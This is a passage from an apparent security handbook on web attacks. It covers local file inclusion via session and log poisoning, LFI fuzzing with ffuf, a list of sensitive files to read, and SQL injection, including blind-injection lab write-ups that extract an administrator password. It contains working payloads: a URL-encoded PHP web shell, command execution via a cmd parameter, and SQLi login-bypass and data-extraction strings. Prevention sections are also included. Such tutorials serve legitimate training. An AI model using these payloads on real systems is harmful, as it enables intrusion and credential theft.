enabled in the PHP configurations and the `phpinfo()` page is somehow exposed to us. However, this attack is not very common, as it has very specific requirements for it to work (LFI + uploads enabled + old PHP + exposed phpinfo()). ## Log Poisoning Writing PHP code in a field we control that gets logged into a log file (i.e. poison/contaminate the log file), and then include that log file to execute the PHP code. For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another. As was the case in the previous section, any of the following functions with Execute privileges should be vulnerable to these attacks: | Function | Read Content | Execute | Remote URL | | ------------------------------ | ------------ | ------- | ---------- | | **PHP** | | | | | `include()` / `include_once()` | ✓ | ✓ | ✓ | | `require()` / `require_once()` | ✓ | ✓ | ✗ | | **NodeJS** | | | | | `res.render()` | ✓ | ✓ | ✗ | | **Java** | | | | | `import` | ✓ | ✓ | ✓ | | **.NET** | | | | | `include` | ✓ | ✓ | ✓ | ### PHP Session Poisoning Most PHP web applications utilize PHPSESSID cookies, which can hold specific user-related data on the back-end, so the web application can keep track of user details through their cookies. These details are stored in session files on the back-end, and saved in `/var/lib/php/sessions/` on Linux and in `C:\Windows\Temp\` on Windows. The name of the file that contains our user's data matches the name of our PHPSESSID cookie with the `sess_` prefix. For example, if the PHPSESSID cookie is set to `el4ukv0kqbvoirg7nkp4dncpk3`, then its location on disk would be `/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3`. The first thing we need to do in a PHP Session Poisoning attack is to examine our PHPSESSID session file and see if it contains any data we can control and poison. So, let's first check if we have a PHPSESSID cookie set to our session: PHPSESSID cookie As we can see, our PHPSESSID cookie value is `nhhv8i0o6ua4g88bkdl9u1fdsd`, so it should be stored at `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`. Let's try include this session file through the LFI vulnerability and view its contents: Session file contents We can see that the session file contains two values: `page`, which shows the selected language page, and `preference`, which shows the selected language. The `preference` value is not under our control, as we did not specify it anywhere and must be automatically specified. However, the `page` value is under our control, as we can control it through the `?language=` parameter. Let's try setting the value of `page` a custom value (e.g. language parameter) and see if it changes in the session file. We can do so by simply visiting the page with `?language=session_poisoning` specified, as follows: ``` http://:/index.php?language=session_poisoning ``` Now, let's include the session file once again to look at the contents: Session poisoning confirmed This time, the session file contains `session_poisoning` instead of `es.php`, which confirms our ability to control the value of `page` in the session file. Our next step is to perform the poisoning step by writing PHP code to the session file. We can write a basic PHP web shell by changing the `?language=` parameter to a URL encoded web shell, as follows: ``` http://:/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E ``` Finally, we can include the session file and use the `&cmd=id` to execute a commands: ``` http://:/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id ``` Webshell in session cmd execution To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd` after our last inclusion. Ideally, we would use the poisoned web shell to write a permanent web shell to the web directory, or send a reverse shell for easier interaction. ### Server Log Poisoning Both Apache and Nginx maintain various log files, such as `access.log` and `error.log`. The `access.log` file contains various information about all requests made to the server, including each request's `User-Agent` header. As we can control the `User-Agent` header in our requests, we can use it to poison the server logs as we did above. Once poisoned, we need to include the logs through the LFI vulnerability, and for that we need to have read-access over the logs. Nginx logs are readable by low privileged users by default (e.g. `www-data`), while the Apache logs are only readable by users with high privileges (e.g. `root/adm` groups). However, in older or misconfigured Apache servers, these logs may be readable by low-privileged users. By default, Apache logs are located in `/var/log/apache2/` on Linux and in `C:\xampp\apache\logs\` on Windows, while Nginx logs are located in `/var/log/nginx/` on Linux and in `C:\nginx\log\` on Windows. However, the logs may be in a different location in some cases, so we may use an LFI Wordlist to fuzz for their locations, as will be discussed in the next section. So, let's try including the Apache access log from `/var/log/apache2/access.log`, and see what we get: Apache access.log via LFI As we can see, we can read the log. The log contains the remote IP address, request page, response code, and the `User-Agent` header. As mentioned earlier, the `User-Agent` header is controlled by us through the HTTP request headers, so we should be able to poison this value. To do so, we will use Burp Suite to intercept our earlier LFI request and modify the `User-Agent` header to Apache Log Poisoning: Burp modifying User-Agent for log poisoning We may also poison the log by sending a request through cURL, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ echo -n "User-Agent: " > Poison Dudji@htb[/htb]$ curl -s "http://:/index.php" -H @Poison ``` As the log should now contain PHP code, the LFI vulnerability should execute this code, and we should be able to gain remote code execution. We can specify a command to be executed with `(&cmd=id)`: Command execution via poisoned log The `User-Agent` header is also shown on process files under the Linux `/proc/` directory. So, we can try including the `/proc/self/environ` or `/proc/self/fd/N` files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well. Finally, there are other similar log poisoning techniques that we may utilize on various system logs, depending on which logs we have read access over. The following are some of the service logs we may be able to read: ``` /var/log/sshd.log /var/log/mail /var/log/vsftpd.log ``` We should first attempt reading these logs through LFI, and if we do have access to them, we can try to poison them as we did above. For example, if the ssh or ftp services are exposed to us, and we can read their logs through LFI, then we can try logging into them and set the username to PHP code, and upon including their logs, the PHP code would execute. The same applies the mail services, as we can send an email containing PHP code, and upon its log inclusion, the PHP code would execute. We can generalize this technique to any logs that log a parameter we control and that we can read through the LFI vulnerability. ## Automated Scanning We may not need to manually exploit the LFI vulnerability in many trivial cases. There are many automated methods that can help us quickly identify and exploit trivial LFI vulnerabilities. We can utilize fuzzing tools to test a huge list of common LFI payloads and see if any of them work, or we can utilize specialized LFI tools to test for such vulnerabilities. ### Fuzzing Parameters In many cases, the page may have other exposed parameters that are not linked to any HTML forms, and hence normal users would never access or unintentionally cause harm through. This is why it may be important to fuzz for exposed parameters, as they tend not to be as secure as public ones. For example, we can fuzz the page for common GET parameters, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://:/index.php?FUZZ=value' -fs 2287 ...SNIP... :: Method : GET :: URL : http://:/index.php?FUZZ=value :: Wordlist : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response size: xxx ________________________________________________ language [Status: xxx, Size: xxx, Words: xxx, Lines: xxx] ``` Once we identify an exposed parameter that isn't linked to any forms we tested, we can perform all of the LFI tests discussed in this module. This is not unique to LFI vulnerabilities but also applies to most web vulnerabilities discussed in other modules, as exposed parameters may be vulnerable to any other vulnerability as well. For a more precise scan, we can limit our scan to the most popular LFI parameters. ### LFI Wordlists In many cases, we may want to run a quick test on a parameter to see if it is vulnerable to any common LFI payload, which may save us time in web applications where we need to test for various vulnerabilities. There are a number of LFI Wordlists we can use for this scan. A good wordlist is `LFI-Jhaddix.txt`, as it contains various bypasses and common files, so it makes it easy to run several tests at once. We can use this wordlist to fuzz the `?language=` parameter we have been testing throughout the module, as follows: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://:/index.php?language=FUZZ' -fs 2287 ...SNIP... :: Method : GET :: URL : http://:/index.php?FUZZ=key :: Wordlist : FUZZ: /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response size: xxx ________________________________________________ ..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91] ../../../../../../../../../../../../etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72] ...SNIP... ../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91] ../../../../../etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91] ../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 3661, Words: 645, Lines: 91] ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 3661, Words: 645, Lines: 91] /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 3661, Words: 645, Lines: 91] ``` As we can see, the scan yielded a number of LFI payloads that can be used to exploit the vulnerability. Once we have the identified payloads, we should manually test them to verify that they work as expected and show the included file content. ### Fuzzing Server Files In addition to fuzzing LFI payloads, there are different server files that may be helpful in our LFI exploitation, so it would be helpful to know where such files exist and whether we can read them. Such files include: Server webroot path, server configurations file, and server logs. **Server Webroot** We may need to know the full server webroot path to complete our exploitation in some cases. For example, if we wanted to locate a file we uploaded, but we cannot reach its `/uploads` directory through relative paths (e.g. `../../uploads`). In such cases, we may need to figure out the server webroot path so that we can locate our uploaded files through absolute paths instead of relative paths. To do so, we can fuzz for the `index.php` file through common webroot paths, which we can find in wordlists for Linux or Windows. Depending on our LFI situation, we may need to add a few back directories (e.g. `../../../../`), and then add our `index.php` afterwards. The following is an example of how we can do all of this with ffuf: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://:/index.php?language=../../../../FUZZ/index.php' -fs 2287 ...SNIP... :: Method : GET :: URL : http://:/index.php?language=../../../../FUZZ/index.php :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response size: 2287 ________________________________________________ /var/www/html/ [Status: 200, Size: 0, Words: 1, Lines: 1] ``` As we can see, the scan did indeed identify the correct webroot path at `(/var/www/html/)`. We may also use the same `LFI-Jhaddix.txt` wordlist we used earlier, as it also contains various payloads that may reveal the webroot. If this does not help us in identifying the webroot, then our best choice would be to read the server configurations, as they tend to contain the webroot and other important information, as we'll see next. **Server Logs/Configurations** As we have seen in the previous section, we need to be able to identify the correct logs directory to be able to perform the log poisoning attacks we discussed. Furthermore, as we just discussed, we may also need to read the server configurations to be able to identify the server webroot path and other important information (like the logs path!). To do so, we may also use the `LFI-Jhaddix.txt` wordlist, as it contains many of the server logs and configuration paths we may be interested in. If we wanted a more precise scan, we can use wordlists for Linux or Windows, though they are not part of seclists, so we need to download them first. Let's try the Linux wordlist against our LFI vulnerability, and see what we get: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://:/index.php?language=../../../../FUZZ' -fs 2287 ...SNIP... :: Method : GET :: URL : http://:/index.php?language=../../../../FUZZ :: Wordlist : FUZZ: ./LFI-WordList-Linux :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response size: 2287 ________________________________________________ /etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72] /etc/hostname [Status: 200, Size: 2300, Words: 634, Lines: 66] /etc/login.defs [Status: 200, Size: 12837, Words: 2271, Lines: 406] /etc/fstab [Status: 200, Size: 2324, Words: 639, Lines: 66] /etc/apache2/apache2.conf [Status: 200, Size: 9511, Words: 1575, Lines: 292] /etc/issue.net [Status: 200, Size: 2306, Words: 636, Lines: 66] ...SNIP... /etc/apache2/mods-enabled/status.conf [Status: 200, Size: 3036, Words: 715, Lines: 94] /etc/apache2/mods-enabled/alias.conf [Status: 200, Size: 3130, Words: 748, Lines: 89] /etc/apache2/envvars [Status: 200, Size: 4069, Words: 823, Lines: 112] /etc/adduser.conf [Status: 200, Size: 5315, Words: 1035, Lines: 153] ``` As we can see, the scan returned over 60 results, many of which were not identified with the `LFI-Jhaddix.txt` wordlist, which shows us that a precise scan is important in certain cases. Now, we can try reading any of these files to see whether we can get their content. We will read `(/etc/apache2/apache2.conf)`, as it is a known path for the apache server configuration: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ curl http://:/index.php?language=../../../../etc/apache2/apache2.conf ...SNIP... ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined ...SNIP... ``` As we can see, we do get the default webroot path and the log path. However, in this case, the log path is using a global apache variable `(APACHE_LOG_DIR)`, which are found in another file we saw above, which is `(/etc/apache2/envvars)`, and we can read it to find the variable values: As we can see, the `(APACHE_LOG_DIR)` variable is set to `(/var/log/apache2)`, and the previous configuration told us that the log files are `/access.log` and `/error.log`, which have accessed in the previous section. ### LFI Tools Finally, we can utilize a number of LFI tools to automate much of the process we have been learning, which may save time in some cases, but may also miss many vulnerabilities and files we may otherwise identify through manual testing. The most common LFI tools are LFISuite, LFiFreak, and liffy. We can also search GitHub for various other LFI tools and scripts, but in general, most tools perform the same tasks, with varying levels of success and accuracy. Unfortunately, most of these tools are not maintained and rely on the outdated python2, so using them may not be a long term solution. Try downloading any of the above tools and test them on any of the exercises we've used in this module to see their level of accuracy. ## File Inclusion Prevention We should now learn how to patch these vulnerabilities and harden our systems to reduce the chances of their occurrence and reduce the impact if they do. ### File Inclusion Prevention The most effective thing we can do to reduce file inclusion vulnerabilities is to avoid passing any user-controlled inputs into any file inclusion functions or APIs. The page should be able to dynamically load assets on the back-end, with no user interaction whatsoever. Furthermore, in the first section of this module, we discussed different functions that may be utilized to include other files within a page and mentioned the privileges each function has. Whenever any of these functions is used, we should ensure that no user input is directly going into them. Of course, this list of functions is not comprehensive, so we should generally consider any function that can read files. ### Preventing Directory Traversal If attackers can control the directory, they can escape the web application and attack something they are more familiar with or use a universal attack chain. The best way to prevent directory traversal is to use your programming language's (or framework's) built-in tool to pull only the filename. For example, PHP has `basename()`, which will read the path and only return the filename portion. If only a filename is given, then it will return just the filename. If just the path is given, it will treat whatever is after the final `/` as the filename. The downside to this method is that if the application needs to enter any directories, it will not be able to do it. If you create your own function to do this method, it is possible you are not accounting for a weird edge case. For example, in your bash terminal, go into your home directory (`cd ~`) and run the command `cat .?/.*/.?/etc/passwd`. You'll see Bash allows for the `?` and `*` wildcards to be used as a `.`. Now type `php -a` to enter the PHP Command Line interpreter and run `echo file_get_contents('.?/.*/.?/etc/passwd');`. You'll see PHP does not have the same behaviour with the wildcards, if you replace `?` and `*` with `.`, the command will work as expected. This demonstrates there is an edge cases with our above function, if we have PHP execute bash with the `system()` function, the attacker would be able to bypass our directory traversal prevention. If we use native functions to the framework we are in, there is a chance other users would catch edge cases like this and fix it before it gets exploited in our web application. Furthermore, we can sanitize the user input to recursively remove any attempts of traversing directories, as follows: ```php theme={"theme":{"light":"github-light","dark":"tokyo-night"}} while(substr_count($input, '../', 0)) { $input = str_replace('../', '', $input); }; ``` As we can see, this code recursively removes `../` sub-strings, so even if the resulting string contains `../` it would still remove it, which would prevent some of the bypasses we attempted in this module. ### Web Server Configuration Several configurations may also be utilized to reduce the impact of file inclusion vulnerabilities in case they occur. For example, we should globally disable the inclusion of remote files. In PHP this can be done by setting `allow_url_fopen` and `allow_url_include` to `Off`. It's also often possible to lock web applications to their web root directory, preventing them from accessing non-web related files. The most common way to do this in today's age is by running the application within Docker. However, if that is not an option, many languages often have a way to prevent accessing files outside of the web directory. In PHP that can be done by adding `open_basedir = /var/www` in the `php.ini` file. Furthermore, you should ensure that certain potentially dangerous modules are disabled, like PHP Expect and `mod_userdir`. If these configurations are applied, it should prevent accessing files outside the web application folder, so even if an LFI vulnerability is identified, its impact would be reduced. ### Web Application Firewall (WAF) The universal way to harden applications is to utilize a Web Application Firewall (WAF), such as ModSecurity. When dealing with WAFs, the most important thing to avoid is false positives and blocking non-malicious requests. ModSecurity minimizes false positives by offering a permissive mode, which will only report things it would have blocked. This lets defenders tune the rules to make sure no legitimate request is blocked. Even if the organization never wants to turn the WAF to "blocking mode", just having it in permissive mode can be an early warning sign that your application is being attacked. It is important to understand the goal of hardening is not to make your system un-hackable, meaning you cannot neglect watching logs over a hardened system because it is "secure". Hardened systems should be continually tested, especially after a zero-day is released for a related application to your system (ex: Apache Struts, RAILS, Django, etc.). In most cases, the zero-day would work, but thanks to hardening, it may generate unique logs, which made it possible to confirm whether the exploit was used against the system or not. ## Interesting Files to Read ``` /etc/passwd /etc/shadow /etc/hosts /etc/crontab /home//.ssh/id_rsa /var/log/apache2/access.log /var/log/auth.log /proc/self/environ /proc/self/cmdline ``` ``` C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\Windows\System32\config\SAM C:\inetpub\logs\LogFiles\ C:\xampp\apache\logs\access.log ``` # SQL Injection Source: https://hackbook.dudji.com/attacks/web/sql-injection From data extraction to OS command execution — SQL injection techniques and methodology. ## Injection Points While most SQLi occurs in WHERE clauses, vulnerabilities can appear anywhere in a query: | Location | Example | | -------- | ---------------------------------- | | UPDATE | Updated values or WHERE clause | | INSERT | Inserted values | | SELECT | Table/column name, ORDER BY clause | ### Attack Types * Retrieving hidden data — modify a query to return additional results * Subverting application logic — alter query behavior to bypass checks * UNION attacks — pull data from other tables * Blind SQLi — exploit queries whose results aren't directly returned ### Example: Retrieving Hidden Data Original request and query: ``` GET /products?category=Gifts SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` Attack 1 — comment out the rest: ``` /products?category=Gifts'-- SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 ``` Attack 2 — return all rows: ``` /products?category=Gifts'+OR+1=1-- SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1 ``` `OR 1=1` makes the WHERE clause always true; `--` discards the trailing conditions. Result: all products returned, including unreleased ones. ### Subverting Application Logic A typical login query: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' ``` By submitting `administrator'--` as the username (with a blank password), the query becomes: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM users WHERE username = 'administrator'--' AND password = '' ``` `--` comments out the password check entirely, so the attacker logs in as administrator with no password required. ### Retrieving Data from Other Tables Using the UNION keyword, an attacker can append a second SELECT to an existing query and pull data from entirely different tables. Original query: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT name, description FROM products WHERE category = 'Gifts' ``` Injecting `' UNION SELECT username, password FROM users--` produces: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT name, description FROM products WHERE category = 'Gifts' UNION SELECT username, password FROM users-- ``` The response now includes all usernames and passwords alongside the normal product results. ### Blind SQL Injection With blind SQLi, the application doesn't return query results or error details — but the vulnerability can still be exploited. Techniques include: * **Boolean-based** — inject a condition that changes the app's response depending on whether it's true or false (e.g. injecting into Boolean logic or triggering a divide-by-zero error) * **Time-based** — conditionally trigger a time delay; infer truth from how long the app takes to respond * **Out-of-band (OAST)** — trigger an external network interaction (e.g. a DNS lookup to a domain you control) to exfiltrate data directly; useful when other techniques fail ## Second-Order SQL Injection First-order SQLi is straightforward — user input from an HTTP request is immediately incorporated into a SQL query unsafely. Second-order (aka stored) SQLi is more subtle: the application stores the user input safely at first, but later retrieves it and incorporates it into a query unsafely. The vulnerability isn't at the point of storage — it triggers on a completely different HTTP request down the line. Second-order SQL injection diagram ## Examining the Database SQL behaves differently across platforms — techniques that work on MySQL may not work on Oracle. Key differences include syntax for string concatenation, comments, batched queries, platform-specific APIs, and error messages. Once a vulnerability is confirmed, fingerprinting the database helps tailor the attack. Two useful starting points: Version detection (result reveals DB type): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM v$version -- Oracle ``` List all tables: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM information_schema.tables -- Most databases ``` ### SQL Injection in Different Contexts SQLi isn't limited to query strings — any input processed as SQL is a potential vector, including JSON and XML bodies. These formats can also help bypass WAFs: filters that block keywords like `SELECT` can often be evaded by encoding or escaping characters. For example, encoding the `S` in `SELECT` as an XML escape sequence: ```xml theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 123 999 SELECT * FROM information_schema.tables ``` The server decodes `S` back to `S` before passing it to the SQL interpreter — bypassing the filter while executing normally. ### How to Prevent SQL Injection The fix for most SQLi is parameterized queries (aka prepared statements) — never concatenate user input directly into a query. Vulnerable: ```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}} String query = "SELECT * FROM products WHERE category = '" + input + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); ``` Safe: ```java theme={"theme":{"light":"github-light","dark":"tokyo-night"}} PreparedStatement statement = connection.prepareStatement( "SELECT * FROM products WHERE category = ?" ); statement.setString(1, input); ResultSet resultSet = statement.executeQuery(); ``` Parameterized queries work for WHERE, INSERT, and UPDATE values — but can't handle table/column names or ORDER BY clauses. For those, use: * Whitelisting permitted input values * Different logic to deliver the required behavior One critical rule: the query string must always be a hard-coded constant — never mix in variable data of any origin, even if you think it's safe. It's easy to misjudge the origin of data, or for future code changes to introduce tainted input into what was once a trusted path. ### Examining the Database #### Querying Version & Type Inject provider-specific version queries to fingerprint the database: | Database | Query | | ---------------- | ------------------------- | | Microsoft, MySQL | `SELECT @@version` | | Oracle | `SELECT * FROM v$version` | | PostgreSQL | `SELECT version()` | Using a UNION attack: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' UNION SELECT @@version-- ``` A response like the below confirms **Microsoft SQL Server** and reveals the exact version: ``` Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 ``` ## Listing Database Contents Query `information_schema.tables` to list all tables: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM information_schema.tables ``` ``` TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ===================================================== MyDatabase dbo Products BASE TABLE MyDatabase dbo Users BASE TABLE MyDatabase dbo Feedback BASE TABLE ``` Then drill into a specific table with `information_schema.columns`: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM information_schema.columns WHERE table_name = 'Users' ``` ``` TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int MyDatabase dbo Users Username varchar MyDatabase dbo Users Password varchar ``` Oracle doesn't have `information_schema` — use these equivalents instead: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT * FROM all_tables -- list tables SELECT * FROM all_tab_columns WHERE table_name = 'USERS' -- list columns ``` # Blind SQL Injection Source: https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection Extract data from databases where query results aren't returned in the HTTP response. ## What is Blind SQL Injection? Blind SQLi is when the application is vulnerable but HTTP responses don't return query results or error details — making UNION attacks ineffective since there's nothing to read back. ## Exploiting via Conditional Responses Consider a tracking cookie processed like this: Blind SQL injection tracking cookie ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' ``` The app shows a **"Welcome back"** message if the query returns results — nothing otherwise. That single boolean difference is enough to extract data. Injecting two conditions back to back: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND '1'='1 ← true → "Welcome back" shown xyz' AND '1'='2 ← false → "Welcome back" gone ``` This lets you ask yes/no questions against the database and infer data one bit at a time. ## Extracting Data Character by Character To brute-force the `Administrator` password, test one character at a time using `SUBSTRING`: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm ``` * "Welcome back" shown → first char is **after** `m` in the alphabet ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't ``` * No "Welcome back" → first char is **not after** `t` ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's ``` * "Welcome back" shown → first char is **`s`** ✓ Repeat for each character position until the full password is recovered. `SUBSTRING` is called `SUBSTR` on some databases — check the SQL injection cheat sheet. ### Lab: Conditional Response (Administrator Password Extraction) In this lab, I exploited a blind SQL injection vulnerability in the `TrackingId` cookie to extract the `administrator` password character by character. The application returned a different response when the injected condition evaluated to **true**, which allowed boolean-based extraction. *** #### Working Payload ```http theme={"theme":{"light":"github-light","dark":"tokyo-night"}} GET / HTTP/2 Host: 0adc00e4030450ba84de4c2e00db005d.web-security-academy.net Cookie: TrackingId=fFLn3TqBCmm6fOZe' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 21) = 'ewlza94ll9bheae3vstzm'-- ; session=phcqNI4KVhQcLxvjczOHuCFq30LseaYV ``` The injection works because the backend query likely looks like: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} WHERE TrackingId = '' ``` By injecting: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' AND -- ``` I: * Closed the original string * Appended a boolean condition * Commented out the rest of the original query *** #### Mistake I Kept Making I got stuck multiple times because I forgot to append `--` at the end of the payload. Without the comment: * The original query was not properly terminated * The trailing `'` from the application broke the syntax * The condition never evaluated correctly Important detail: `--` must usually be followed by a space. Correct pattern: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' AND -- ``` *** #### Extraction Method I used Burp Intruder to brute-force the password using prefix matching. Strategy: 1. Start with length = 1 2. Bruteforce the first character 3. Increase substring length gradually 4. Continue expanding the known prefix Example: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 1, 5) = 'ewlza'-- ``` If the response indicated true, the prefix was correct. I increased the substring length from 1 up to 21. *** #### Where It Stopped Working When I tested length 21, I stopped getting matches. This indicated: * The actual password length was likely 20 characters * Comparing beyond the real length caused the condition to return false This confirmed that the full password had been extracted. *** #### Cleaner Alternative Approach Instead of matching growing prefixes, a more controlled method is testing one character at a time: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' AND SUBSTR((SELECT password FROM users WHERE username='administrator'), 5, 1) = 'a'-- ``` This avoids long prefix comparisons and reduces potential mistakes. *** #### Key Takeaways * Always terminate injections with `-- `. * A missing SQL comment can completely break blind SQLi. * If increasing substring length stops producing matches, you likely exceeded the real string length. * Boolean-based blind SQLi works reliably when response differences exist. * Burp Intruder is effective for structured character-by-character extraction. *** ## Error-Based Blind SQL Injection Sometimes a query runs, but the page looks the same whether your condition is true or false. In that case, normal boolean response checks do not help. The workaround is to make the database throw an error only when a condition is true. Then you infer truth from a response difference (500 error, different page length, missing content, etc.). ### Two Common Outcomes * Conditional error channel: trigger an error only when your condition is true. * Verbose DB errors: in misconfigured apps, actual query data may leak directly in error messages. ### Conditional Error Pattern ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a ``` * `1=2` path returns `'a'` and usually no DB error. * `1=1` path hits `1/0` (divide-by-zero), causing a DB error. If the HTTP response changes between these two payloads, you can use this as a true/false oracle. ### Extracting Data With Conditional Errors ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND ( SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users )='a ``` One-liner (Burp-friendly): ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a ``` If the request now errors, the condition is true. If it does not, the condition is false. Repeat this per character and position to recover the full value. ### Lab: Conditional Errors (Oracle, Administrator Password) Vulnerable input: `TrackingId` cookie Goal: * Extract `administrator` password * Log in as `administrator` #### Step 1: Confirm Injection (Oracle) ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT '' FROM dual) || ' ``` If this is accepted, test a forced failure: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT '' FROM dualfiewifow) || ' ``` If behavior changes, the parameter is injectable. #### Step 2: Confirm `users` Table ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT '' FROM users WHERE ROWNUM = 1) || ' ``` If this works, `users` exists. Why `ROWNUM = 1` matters: * A scalar subquery inside `|| (...) ||` must return exactly one row. * `(SELECT '' FROM users)` can return many rows -> Oracle throws `ORA-01427: single-row subquery returns more than one row`. * `(SELECT '' FROM users WHERE ROWNUM = 1)` is capped to one row -> valid. #### Step 3: Confirm `administrator` Row First, check the row directly: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT '' FROM users WHERE username='administrator') || ' ``` Then validate your error channel baseline: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || ' ``` Now trigger an error only if `administrator` exists: ```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ' || ( SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users 